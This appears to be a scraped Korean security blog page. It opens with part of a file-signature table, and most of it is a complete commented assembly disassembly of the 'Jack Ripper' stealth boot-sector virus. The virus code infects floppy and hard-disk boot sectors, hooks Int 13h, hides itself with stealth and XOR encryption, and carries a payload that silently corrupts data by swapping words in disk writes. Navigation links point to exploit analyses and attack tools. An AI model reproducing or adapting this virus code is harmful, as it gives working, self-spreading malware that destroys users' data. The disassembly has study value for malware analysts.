8B | DBF | Database – FoxPro |
89 50 4E 47 0D 0A 1A 0A P N G | PNG | Graphics – Portable Network Graphics File |
8A 01 09 00 00 00 E1 08 00 00 99 19 | AW | MS Answer Wizard File |
91 33 48 46 | HAP | Archive – Hamarsoft HAP 3.x Compressed Archive |
95 01 | SKR | PGP Secret Key Ring |
99 00 | PKR | PGP Public Key Ring |
99 01 | PKR | PGP Public Key Ring |
9B A5 | DOC | Word processor – Winword 1.0 |
9C CB CB 8D 13 75 D2 11 91 58 00 C0 4F 79 56 A4 | WAB | Outlook Address File |
A0 46 1D F0 (offset : 512 bytes) | PPT | PowerPoint Presentation SubHeader |
A1 B2 C3 D4 | tcpdump (libpcap) Capture File | |
A1 B2 CD 34 | Extended tcpdump (libpcap) Capture File | |
A9 0D 00 00 00 00 00 00 | DAT | Access Data FTK Evidence File |
AC 9E BD 8F 00 00 | QDF | Quicken Data File |
B1 68 DE 3A | DCX | Graphics Multipage PCX Bitmap File |
B5 A2 B0 B3 B3 B0 A2 B5 | CAL | Windows 3.x Calendar |
BA BE EB EA | ANI | NEOchrome Animation File |
BE 00 00 00 AB 00 00 00 00 00 00 00 00 | WRI | Microsoft Wirte File |
C3 AB CD AB | ACS | Microsoft Agent Character File |
C5 D0 D3 C6 | EPS | Adobe Encapsulated PostScript File |
C8 00 79 00 | LBK | Jeppesen FiteLog File |
CA FE BA BE | CLASS | Java Bytecode File |
CD 20 AA AA 02 00 00 00 | Norton Anti-Virus Quarantined Virus File | |
CF 11 E0 A1 B1 1A E1 00 | DOC | Word processor – Perfect Office Document File |
CF AD 12 FE | DBX | Microsoft Outlook Express E-mail File |
D0 CF 11 E0 A1 B1 1A E1 | HWP DOC, DOT, PPS PPT, XLA, XLS WIZ AC_ ADP APR DB MSC MSI MTW OPT PUB SOU SPO VSD WPS | HAANSOFT Compound Document File Microsoft Office Compound Document File Access Project File Lotus/IBM Approach 97 File MSWorks Database File Microsoft Common Console Documet File Microsoft Installer Package Minitab Data File Developer Studio File Workspace Options File Microsoft Publisher File Visual Studio Solution User Options File SPSS Output File Visio File MSWorks Text Document File |
D2 0A 00 00 | FTR | GN Nettest WinPharoah Filter File |
D4 2A | ARL, AUT | AOL History (ARL) and Typed URL (AUT) Files |
D4 C3 B2 A1 | WinDump (Winpcap) Capture File | |
D7 CD C6 9A | WMF | Graphics – Windows Metafile Format |
DB A5 | DOC | Word processor - Winword 2.0 |
DC DC | CPL | Corel Color Palette File |
DC FE | EFX | eFax File Format |
E3 10 00 01 00 00 00 00 | INFO | Amiga Icon File |
E3 82 85 96 | PWL | Windows Password File |
E8 or E9 or EB or | COM, SYS | Windows Executable File |
EB 3C 90 2A | IMG | GEM Raster File |
EC A5 C1 00 (offset : 512 bytes) | DOC | Word Document SubHeader |
ED AB EE DB | RPM | RedHat Package Manager File |
EF BB BF | Byte-order Mark for 8-bit Unicode Transformation Format (UTF-8) File | |
F5 | DBF | FoxPro Database |
FD FF FF FF 04 (offset : 512 bytes) | SUO | Visual Studio Solution User Options SubHeader |
FD FF FF FF nn 00 00 00 (offset : 512 bytes) | PPT | PowerPoint Presentation SubHeader (nn = 0x0E, 0x1C, 0×43) |
FD FF FF FF nn 00 or (offset : 512 bytes) FD FF FF FF nn 02 (offset : 512 bytes) | XLS | Excel Spreadsheet SubHeader (nn = 0×10, 0x1F, 0×22, 0×23, 0×28, 0×29) |
FD FF FF FF 20 00 00 00 (offset : 512 bytes) | OPT XLS | Developer Studio File Workspace Options SubHeader Excel Spreadsheet SubHeader |
FD FF FF FF xx xx xx xx xx xx xx xx 04 00 00 00 (offset : 512 bytes) | DB | Thumbs.db SubHeader |
FE DB or FE DC | SEQ | Cyber Paint |
FE FF | Byte-order mark for 16-bit Unicode Transformation Format/2-octet Universal Character Set (UTF-16/UCS-2) | |
FF | SYS | Windows Executable Format File |
FF 00 02 00 04 04 05 54 02 00 | WKS | Windows Spreadsheet Work File |
EF 46 4F 4E 54 F O N T | CPI | Windows International Code Page |
FF 4B 45 59 42 20 20 20 K E Y B | SYS | Keyboard Driver File |
FF 57 50 43 W P C | WP, WPD, WPG WP5 | Word processor – WordPerfect Document and Graphic File |
FF D8 FF E0 xx xx 4A 46 J F 49 46 I F | JPG
| Graphics – JPEG/JFIF Format
|
FF D8 FF E1 xx xx 45 78 E x 69 66 i f | JPG
| Graphics – JPEG/Exif Format – Digital Camera Exchangeable Image File Format (EXIF) |
FF FF | GEM | GEM Metafile Format |
FF D8 FF E8 xx xx 53 50 S P 49 46 46 00 I F F | JPG
| Graphics – Still Picture Interchange File Format (SPIFF) |
A look at object confusion vulnerability (CVE-2012-0779) in Adobe Flash (0) | 2012.05.15 |
---|---|
mbr 바리어스의 Xpaj 에 관한 정보 (0) | 2012.05.03 |
js 언팩킹 풀어보기!~ (0) | 2012.02.09 |
Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit (2) | 2012.02.09 |
해외 악성파일 (0) | 2012.02.03 |
; ; VIRUS NAME: Jack Ripper ; ORIGIN : Bulgaria ; VIRUS SIZE: 2 Sectors ; VIRUS TYPE: Stealth MBR/BS Infector ; PAYLOAD : 1 in 1024 disk writes, it swaps 2 words in the write buffer ; ; ; The Ripper Virus is a very common boot sector virus. It was the first ; virus that I ever came across. I was fascinated how it could evade my ; ignorant teachers at my school's computer lab. (They couldn't figure ; out that their AV boot disks were infected.) After the problem persisted ; for months, they literally threw away all their disks, formatted the hard ; drives, installed Lame AV, installed security programs, and went to a ; diskless system. Ripper might be gone, but its memory in that lab ; still lingers. ; ; Anywayz, since it was the first virus I came across, and the virus that ; got me interested in the scene, I decided to do it justice and have it be ; the first virus that I disassembled. When I started disassembling ; I knew nothing about Boot Viruses (or disassembling as you will see), but ; after bugging VD for days, he wrote a Boot Virus tutorial, which should ; also be included in this SLAM edition. If you like comments, you will ; find tons of comments. ; ; Although I don't like destructive payloads, Ripper's Payload has to be ; the most subtle destructive data diddling that I know of. Every 1 in 1024 ; writes, it swaps two words around in the write buffer, thus a gradual ; corruption of data and backups. Because of this destructive payload, ; I have not tried to compile it, or try to make a working byte for byte exact ; copy. As of this writing, there were no varients of the Ripper Virus, and ; I hope the VX community can give Ripper the respect it deserves and leave ; it that way. ; ; Ripper employs lots of cool tricks, and I have learned alot from ; disassembling it. I hope I did Jack Ripper justice with my disassembling ; of his virus. seg000 segment byte public 'CODE' assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing jmp short Start_Ripper ; Clear Interrups ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ nop ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IBM db 49h ; I db 42h ; B db 4Dh ; M db 20h ; db 20h ; db 35h ; 5 db 2Eh ; . db 30h ; 0 BytesPerSector db 0 db 2 ; db 2 ; Reserved_Sector dw 1 Num_Of_FATs db 2 Max_Root_Dirs dw 70h db 0A0h ; db 5 ; db 0F9h ; ù Sectors_in_Fat dw 3 Sctrs_Per_Track dw 9 db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 29h ; ) db 4 ; db 16h ; db 4Eh ; N db 34h ; 4 FatName db 'NO NAME FAT12 ú3' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Start_Ripper: cli ; Clear Interrups xor ax, ax ; AX = 0 mov ss, ax ; SS = 0 mov sp, 7C00h ; SP = 7C00h sti ; Restore Interrupts mov si, 7C50h ; SI = 7C50h push cs ; Save CS call near ptr XOR_Encryption Strt_Encryption: mov si, sp ; SI = 7C00h mov ax, ds:413h ; Get Amount of Free Memory in Paras dec ax dec ax ; Decrease New Amount of Free Memory push ax ; Save New Amount of Free Memory mov cl, 6 shl ax, cl ; Convert AX to Segment of Free Memory mov es, ax ; ES = Segment of Free Memory xor di, di ; DI = 0 mov cx, 100h ; CX = 100h rep movsw ; Move First 512 bytes into Memory mov ax, offset Memory_Continue; Continue with Resident Copy push ds ; Push 0 push es ; Push Segment of Ripper in Memory push ax ; Push Offset which we will return to retf ; Goto Memory Copy ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Msg db 'FUCK ',27h,'EM UP !' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Memory_Continue: les bx, ds:4Ch ; BX = Offset of Int 13h, ES = Segment of Int 13h push cs pop ds ; DS = CS mov Int_13h_Offset, bx ; Move Offset of Int 13h into our Handler mov Int_13h_Segment, es ; Move Segment of Int 13h into our Handler and Drive, 80h ; Get First Drive mov dl, Drive ; DL = Drive mov dh, Head ; DH = Head xor bx, bx ; BX = 0 call Check ; Check to see if we are hooked pop es ; ES = 0 jnb Exit_Hooking ; Jump if Carry Flag is Clear mov cx, Loc_2_Sector ; CX = Location of Second Sector of Ripper mov bx, 200h ; BX = 200h, Directly after First Half push es ; Push 0 push cs pop es ; ES = CS call Prepare_Read ; Read 2nd half of Ripper into Memory pop es ; ES = 0 push es pop ds ; DS = 0 jb Exit_Hooking ; If there is a problem with the Read, Exit pop word ptr ds:413h ; Set New Amount of Free Memory mov word ptr ds:4Ch, offset Int_13h_Handler; Set New Offset to our Handler mov ds:4Eh, cs ; Set new Segment to our handler push ax ; Push something for the pop Exit_Hooking: pop ax ; Pop the extra Pushed number mov cx, cs:Loc_Old_Boot ; CX = Location of Old Boot Sector mov bx, sp ; BX = 7C00h call Prepare_Read ; Read Original Boot Sectorto 0000:7C00h push es ; Push 0 push bx ; Push 7C00h at End of XOR Loop Return to 0:7C00h jmp short Skip_Signature; Encrypt Memory Resident Txt and Code ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Signature db '(C)1992 Jack Ripper' ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Skip_Signature: mov si, offset Strt_Encryption; Encrypt Memory Resident Txt and Code XOR_Encryption proc far mov di, si ; DI = SI push cs pop ds ; DS = CS push cs pop es ; ES = CS XOR_Loop: lodsb ; Load a byte into AL xor al, 10101010b ; XOR it stosb ; Put it Back push di ; Save DI and di, 11111111b ; Get lower half of DI cmp di, offset Skip_Signature; Are we to our stopping point? pop di ; Get Old DI back jnz XOR_Loop ; Loop if not done xor ax, ax ; AX = 0 mov ds, ax ; DS = 0 mov es, ax ; ES = 0 retf ; Return XOR_Encryption endp Int_13h proc near pushf call dword ptr cs:Int_13h_Offset; Call Original Int 13h retn ; Return Int_13h endp Prepare_Read proc near mov di, 3 ; Try to Read 3 Times Read_One_Sector: xor ax, ax ; AX = 0 call Int_13h ; Reset Disk System mov ax, 201h ; AX = 201h call Int_13h ; Read one Sector into ES:BX buffer jnb Successful_Read ; Jump if Read was Successful dec di ; Decrease DI jnz Read_One_Sector ; If DI > 0, Try to Read Again Successful_Read: retn ; Return Prepare_Read endp Check proc near mov di, bx ; DI = BX mov si, 0E2h ; SI = E2h add di, si ; DI = BX + E2h mov cx, 20h ; CX = 20h Check_Loop: cmpsw ; Cmp Two Words jnz Not_Equal ; Jump if they aren't equal loop Check_Loop ; Loop clc ; Clear Carry Flag retn ; Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Equal: stc ; Set Carry Flag retn ; Return Check endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Read: push ax ; Save Registers push bx push cx push dx cmp dl, ds:177h ; Does Drive = Our Drive? mov ds:177h, dl ; Put Drive into Drive jnz Not_Same_Drive ; Don't read the disk a whole bunch. xor ax, ax ; AX = 0 int 1Ah ; CLOCK - GET TIME OF DAY ; Return: CX:DX = clock count ; AL = 00h if clock was read or written (via AH=0,1) since the previous ; midnight ; Otherwise, AL > 0 mov ax, dx ; AX = Clock Count sub ax, ds:175h ; Sub from Clock Count a previous Clock Count mov ds:175h, dx ; Save New Clock Count cmp ax, 36h ; Cmp Time to about 3 seconds. jb Less_3_Secs ; If below, Don't Check Infection Not_Same_Drive: pop dx ; Get Head and Drive push dx ; Save it again push si ; Push Return Value call Check_Infection ; Check For Infection pop si ; Pop return Value Less_3_Secs: pop dx ; Restore Registers pop cx pop bx pop ax pop es push es ; Save ES push si ; Save SI call Check_To_Stealth ; Stealth Exit_Handler: pop es ; Restore Registers pop ds pop di pop si pop dx pop cx pop bx pop ax popf ; Restores Flags jmp dword ptr cs:Int_13h_Offset; Continue with real Int 13h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Loc_2_Sector dw 4 Loc_Old_Boot dw 5 Int_13h_Offset dw 53ECh Int_13h_Segment dw 0F000h Clock_Count dw 0AC8h Drive db 0 Head db 1 Partion_Tables db 7Ch ; | db 0A3h ; £ db 4Dh ; M db 7Ch ; | db 0F8h ; ø db 0C3h ; Ã db 0F9h ; ù db 0C3h ; Ã db 0B4h ; ´ db 2 ; db 8Bh ; ‹ db 16h ; db 4Dh ; M db 7Ch ; | db 0B1h ; ± db 6 ; db 0D2h ; Ò db 0E6h ; æ db 0Ah ; db 36h ; 6 db 4Fh ; O db 7Ch ; | db 8Bh ; ‹ db 0CAh ; Ê db 86h ; † db 0E9h ; é db 8Ah ; Š db 16h ; db 24h ; $ db 7Ch ; | db 8Ah ; Š db 36h ; 6 db 25h ; % db 7Ch ; | db 0CDh ; Í db 13h ; db 0C3h ; Ã db 0Dh ; db 0Ah ; NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah db 'Replace and press any key when ready',0Dh,0Ah,0 Ibmbio db 'IBMBIO COMIBMDOS COM',0 db 0 ; End_1st_Sector dw 0AA55h I13h_With_Check proc far call Int_13h ; Real Int 13h jb Write_Problem ; Problem? retn ; Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write_Problem: pop bx Read_Problem: push bp ; Save BP mov bp, sp ; BP = Stack or word ptr [bp+12h], 1; Set Carry Flag mov [bp+10h], ax ; Set Error AX pop bp ; Get BP Back Pop_w_Check: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jb Error_Skip_AX_0 ; Err: Don't erase our previous AX mov ax, 0 ; No Error AX = 0 Error_Skip_AX_0: retf 2 I13h_With_Check endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stealth: call near ptr I13h_With_Check call Check ; Check for Infection jb Pop_w_Check ; Exit if Not Infected mov cx, es:[bx+16Fh] ; Find original BS's Track & Sector mov dh, es:[bx+178h] ; Finde Original BS's Head mov ax, 201h ; Read One Sector call near ptr I13h_With_Check jmp short Pop_w_Check ; Exit SetUp_400_Read proc near mov dh, 0 ; Head = 0 mov cx, 1 ; Track = 0 Sector = 1 mov bx, 400h ; BX = 400h mov ax, 201h ; Read One Sector push cs pop es ; ES = CS retn SetUp_400_Read endp Read_Into_400 proc near call SetUp_400_Read call Int_13h ; Read One Sector Into CS:400h retn ; Return Read_Into_400 endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Return_out_of_Stealth: mov si, bx mov di, ax push es pop ds ; DS = ES assume ds:seg000 call SetUp_400_Read ; Read BS to CS:400h call near ptr I13h_With_Check push di ; Save Orginal AX push si ; Save Original BX mov bx, si ; Restore BX inc si inc si ; SI = Past Jump call Save_Boot_Headr ; Move Header info push ds push cs pop ds ; DS = CS push cx mov bx, 400h ; BX = 400h call Check pop cx ; Restore CX pop es assume es:nothing pop bx ; Get Original BX back pop ax ; Get Original AX back jnb No_Stealth_Problem ; SI = 56Fh jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Stealth_Problem: mov si, 56Fh ; SI = 56Fh mov cx, [si] ; Location Old Boot mov dh, [si+9] ; Location Old Head call near ptr I13h_With_Check; Stealth it call SetUp_400_Read ; Read Real BS xor bx, bx ; To CS:0h call near ptr I13h_With_Check jmp short Pop_w_Check Check_To_Stealth proc near cmp ch, 0 ; Compare Track to 0 jnz Continue ; Allow if not cmp cl, 1 ; Cmp Sector to 1 jnz No_Stealth ; No Need for Stealth cmp dh, 0 ; Compare Head to 0 jnz No_Stealth ; No Need for Stealth pop di ; Retn to number in SI retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Continue: retn 2 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Stealth: add sp, 4 ; Remove the bytes pushed by Stealth cmp ah, 2 ; Is it a read? jnz Not_Read ; Check for Read mov di, ax ; Save AX in DI call near ptr I13h_With_Check; Read mov ax, di ; Restore AX Check_Again: mov di, bx ; Save BX in DI mov si, 200h ; SI = 200h Word_Check_Loop: cmpsw jnz Word_Not_Equal ; If they don't equal Jmp cmp si, 400h ; Check 200 bytes jnz Word_Check_Loop jmp short Stealth_Disk ; DI = BX ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Word_Not_Equal: add bx, 200h ; Increase One Sector dec al ; One Less Sector jnz Check_Again ; Save BX in DI jmp short AL_Zero ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stealth_Disk: mov di, bx ; DI = BX mov cx, 100h ; CX = 100h push ax ; Save AX xor ax, ax ; AX = 0 rep stosw ; Mov 1024 bytes/2 sectors pop ax ; Restore AX dec al ; Dec AL again jz AL_Zero mov cx, 100h ; CX = 100h xor ax, ax ; AX = 0 rep stosw AL_Zero: ; Check_To_Stealth+4Aj jmp Pop_w_Check Check_To_Stealth endp Payload proc near push ax ; Save Registers push bx push cx push dx xor ax, ax ; AX = 0 int 1Ah ; CLOCK - GET TIME OF DAY ; Return: CX:DX = clock count ; AL = 00h if clock was read or written (via AH=0,1) since the previous ; midnight ; Otherwise, AL > 0 test dx, 1111111111b ; Test with 3FFh, 1 in 1024 chance jnz Exit_Payload ; Jump if not equal or cl, dh ; Or CL and DH to get a random number and cx, 111111100b ; Discard top 7 bits and 2 lower bits add bx, cx ; Swap 2 words with a random location push word ptr es:[bx] ; The infamous Ripper Word Swapping push word ptr es:[bx+2] ; Push 2 words pop word ptr es:[bx] ; And Pop them in Reverse order pop word ptr es:[bx+2] Exit_Payload: pop dx ; Restore Registers pop cx pop bx pop ax retn ; Return Payload endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Read: cmp al, 1 ; Is it just one Sector? jnz Exit ; Exit If its Not just one sector push es ; Save Registers push bx push cx push dx call Read_Into_400 ; Read BS right after Virus in Memory pop dx ; Restore the Saved Registers pop cx pop bx pop es jnb No_Read_Prob ; No Problem with Read jmp Read_Problem ; Problem with Read ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Read_Prob: mov si, 56Dh ; SI = 56h cmp dh, [si+0Bh] ; Cmp DH with Head on the BS jnz Exit ; Exit if they don't equal. cmp cx, [si] ; Cmp CX with Location of the 2nd sector. jz Write_BS_MBR ; If equal write MBR/BS cmp cx, [si+2] ; Cmp CX with location of the Old sector. jz Write_BS_MBR ; If equal write MBR/BS Exit: jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write_BS_MBR: call SetUp_400_Read mov ax, 301h ; Write 1 Sector Instead of Read call near ptr I13h_With_Check; Write One Sector jmp Pop_w_Check Check_Infection proc near call Read_Into_400 ; Read First Sector into CS:400 jnb No_Read_Error ; Jump if No Error retn ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No_Read_Error: mov si, 402h ; SI = 402h call Save_Boot_Headr call Check ; Check Infection jb Not_Infected ; Jump if it isn't Infected Infection_Done: retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Not_Infected: test Drive, 80h ; See if the Drive is a Diskette or HD jz Diskette ; Jump to Diskette if it is a Diskette mov cx, 8 ; Second Sector Resides at Sector 8 Write_2nd_Sectr: mov bx, 200h ; Read from the Second 512 bytes (200h) mov ax, 302h ; Write 2 Sectors call Int_13h ; Write 2nd Sector and Orig Boot Sector jb Infection_Done ; Near Return mov Loc_2_Sector, cx ; Write where to find the Second Sector inc cx ; Old Boot is found right after it. mov Loc_Old_Boot, cx ; Where to find the Old boot code mov Head, dh ; Save Head call SetUp_400_Read xor bx, bx ; Start at beginning of Code mov ax, 301h ; Write 1 Sector call Int_13h ; Write the Boot Sector retn ; Near Return ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Diskette: cmp word ptr BytesPerSector, 200h; Make sure it is a floppy. jnz Infection_Done ; Quit if not Equal mov cx, Reserved_Sector ; Location of Reserved Sectors before FAT mov al, Num_Of_FATs ; Number Of FATs cbw ; Convert byte to word, xor ah, ah? mul Sectors_in_Fat ; AX = # of FATS * # of Sectors in FAT add cx, ax ; CX = Reserved Sectors + Sectors of FATS mov ax, 20h ; ' ' ; AX = 20h mul Max_Root_Dirs ; AX = 20h * Max # of Root Directories mov bx, 200h ; BX = 200h div bx ; AX = 20h * # if Root Dirs / 200h add cx, ax ; CX = Reserved + Fat + Root Dir dec cx ; Decrease CX by 1 mov dh, 1 ; DH = 1 sub cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track mov dl, Drive ; DL = Drive jmp short Write_2nd_Sectr; Go Write the Second Sector Check_Infection endp Save_Boot_Headr proc near mov di, 2 ; DI = 2 Move_Header_Loop: movsb ; Move a byte from DS:DI to ES:DI cmp di, 40h jnz Move_Header_Loop ; Jump if we are not done mov si, bx ; Si = 400h mov di, offset Partion_Tables add si, di ; DI = 400h + Partition Table Move_Something: movsb cmp di, 200h jnz Move_Something retn Save_Boot_Headr endp ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Int_13h_Handler: clc ; Clear Carry Flag pushf ; Save Flags push ax ; Save Registers push bx push cx push dx push si push di push ds push es push cs pop ds ; DS = CS cld ; Clear Direction Flag cmp ah, 2 ; Read? jnz Check_For_Write ; If Not a Read Continue our checks mov si, offset Stealth ; Return to jmp Read ; Jmp to Read ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Check_For_Write: cmp ah, 3 ; Write? jz Write ; Jump if it is Allow_Write: jmp Exit_Handler ; Restore Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Write: call Payload ; Payload time cmp cx, 1 ; Does Track = 0 and Sector = 1? jnz Not_Boot_Sector ; If not the bootsector, Jump cmp al, 1 ; Are they only writing one sector? jnz Allow_Write ; If not, Jump Not_Boot_Sector: mov si, offset Return_out_of_Stealth; Return to jmp Read ; Save Registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0D2h ; Ò seg000 ends end
IDA ELF 플러그인 (0) | 2012.12.26 |
---|---|
매크로가 발전하면 이런것도 가능하다!!와우 (0) | 2012.05.15 |
Technical Analysis and Advanced Exploitation of Adobe Flash 0-Day (CVE-2011-0609) (0) | 2012.01.12 |
DOS공격 tool (0) | 2011.12.21 |
RAT 공개 툴 (0) | 2011.12.09 |
mbr 바리어스의 Xpaj 에 관한 정보 (0) | 2012.05.03 |
---|---|
파일 시그니처 모음 (Common File Signatures) (0) | 2012.04.05 |
